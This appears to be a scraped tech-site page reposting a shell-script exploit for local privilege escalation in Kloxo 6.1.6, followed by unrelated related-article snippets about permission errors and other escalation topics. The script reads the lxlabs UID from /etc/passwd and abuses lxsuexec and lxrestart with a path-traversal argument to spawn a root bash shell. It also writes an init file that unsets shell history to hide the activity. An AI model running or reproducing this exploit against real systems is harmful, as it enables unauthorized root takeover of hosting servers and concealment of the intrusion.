Kloxo 6.1.6 - Local Privilege Escalation

简介: #!/bin/sh# Exploit Title: Kloxo Local Privilege Escalation# Google Dork: inurl:kiddie...
#!/bin/sh
# Exploit Title: Kloxo Local Privilege Escalation
# Google Dork: inurl:kiddies
# Date: August 2012 or so
# Exploit Author: HTP
# Vendor Homepage: http://lxcenter.org/
# Software Link: [download link if available]
# Version: 6.1.6 (Latest)
# Tested on: CentOS 5
# CVE : None
# This exploit requires you to be the Apache user, or another capable of running lxsuexec.
LXLABS=`cat /etc/passwd | grep lxlabs | cut -d: -f3`
export MUID=$LXLABS
export GID=$LXLABS
export TARGET=/bin/sh
export CHECK_GID=0
export NON_RESIDENT=1
echo "unset HISTFILE HISTSAVE PROMPT_COMMAND TMOUT" >> /tmp/w00trc
echo "/usr/sbin/lxrestart '../../../bin/bash --init-file /tmp/w00trc #' " > /tmp/lol
lxsuexec /tmp/lol
目录
相关文章
|
存储 安全 数据库
chmod() has been disabled for security reasons
最近用 codeigniter 写一个小系统,引用了session 库,codeigniter默认的session存储方式为files。鉴于安全性,文件即肯定涉及到权限问题。 在类 UNIX 操作系统中,这可以通过在该目录上执行 chmod 命令,将权限设置为 0700 来实现, 这样就可以只允许目录的所有者执行读取和写入操作。
1234 0
|
PHP
You don't have permission to access /nagios/ on this server
<p><span style="font-size:18px"> <span style="white-space:pre"> </span>You don't have permission to access /nagios/ on this server </span></p> <p><span style="font-size:18px"><br></span></p> <p>
4342 0
|
Shell Perl Ubuntu
hwclock(8) SUID privilege escalation
Hello, During a recent assessment I have stumbled across a system which had hwclock(8) setuid ...
1507 0
|
安全 jenkins 持续交付
Script Execution and Privilege Escalation on Jenkins Server
Disclaimer: We would use only existing features of Jenkins, no 'exploits' here.
875 0